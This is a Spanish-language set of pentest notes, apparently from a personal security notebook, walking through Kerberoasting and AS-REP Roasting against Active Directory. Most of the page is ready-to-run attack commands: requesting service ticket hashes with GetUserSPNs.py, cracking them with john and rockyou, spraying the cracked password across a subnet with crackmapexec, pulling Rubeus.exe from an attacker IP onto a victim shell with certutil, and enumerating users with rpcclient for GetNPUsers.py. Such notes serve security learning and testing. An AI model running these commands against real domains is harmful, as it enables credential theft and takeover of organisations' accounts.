Kerberoasting & ASREP Roast

Kerberoasting

Este ataque trata de que a partir de un usuario sin privilegios, obtener las contraseñas vinculadas a una cuenta del Directorio Activo.

Con GetUserSPNs.py

Para ello él usuario en particular tiene que ser vulnerable a este ataque, para comprobarlo debemos hacer lo siguiente:

GetUserSPNs.py dc.local/allimos:Password

Si no es vulnerable aparecerá el siguiente mensaje -> No entries found!

Pero si lo es, debería aparecer algo como esto:

GetUserSPNs.py dc.local/j4ckie:Password
Vulnerable

Si es valida, podemos utilizar el parámetro -request y pedir un TGTs y sacar un hash.

GetUserSPNs.py dc.local/j4ckie:Password1 -request
hash

Este hash se puede crackear de forma offline con johntheripper, guardamos este hash en un archivo llamado hash y ejecutamos el siguiente comando:

john --wordlist=/usr/share/wordlists/rockyou.txt

Ahora si ejecutamos con crackmapexec a todos los equipos del sistema con esa credencial, debería aparecer Pwn3d!

crackmapexec smb <IP/24> -u 'SQL_SQLservice' -p 'Password1'

Con Rubeus.exe

Nos descargamos Rubeus.exe , lo subimos a la shell sin privilegios.

Ej: certutil -f -urlcache -split http://192.168.218.128:8080/Rubeus.exe Rubeus.exe

Una vez en el sistema victima ejecutamos el siguiente comando:

Rubeus.exe kerberoast /creduser:dc.local\allimos /credpassword:Password1

Nos debería aparecer lo mismo que arriba, el hash de svc_sqlservice

ASREPRoast Attack

Este ataque que explota la falta de que el usuario en cuestión tenga o no la pre autenticación de Kerberos, si cierto usuario no tiene esta pre autenticación entonces es vulnerable a ASREPRoast.

Para el que lo quiera saber, esta opción se ve reflejada en el usuario por parte del Dominio en Usuario > Propiedades > Cuenta

Si tiene esto activado, es vulnerable

Pero si queremos saberlo de manera externa, que es obvio que no tendremos acceso a esa información, lo haremos mediante la herramienta GetNPUsers.py.

Con GetNPUsers.py

Antes de eso necesitamos un listado de usuarios a los cuales probar si son vulnerables, esta información la sacaremos con rpcclient:

rpcclient -U "dc.local\allimos%Password1" 192.168.218.142 -c 'enumdomusers' | grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' > users

Este resultado lo metemos en un archivo llamado users.

Listado de usuarios

De acuerdo, una vez obtenido entonces empezamos comprobando si alguno de estos usuarios es vulnerable.

GetNPUsers.py dc.local/ -no-pass -usersfile users

Lo más normal es que aparezca el error -> UF_DONT_REQUIRE_PREAUTH

Pero si no fuera así y lo fuera debería aparecer el AS-REP hash del usuario en cuestión:

Podemos crackear el hash de manera offline

Con Rubeus.exe

Nos descargamos Rubeus.exe , lo subimos a la shell sin privilegios.

Entonces ejecutamos el siguiente comando para comprobarlo:

Rubeus.exe asreproast /user:SVC_SQLservice /domain:dc.local /dc:DC-Company

Y si uno de los usuarios es vulnerable debería aparecer el AS-REP hash:

Crackeamos el hash en offline

Last updated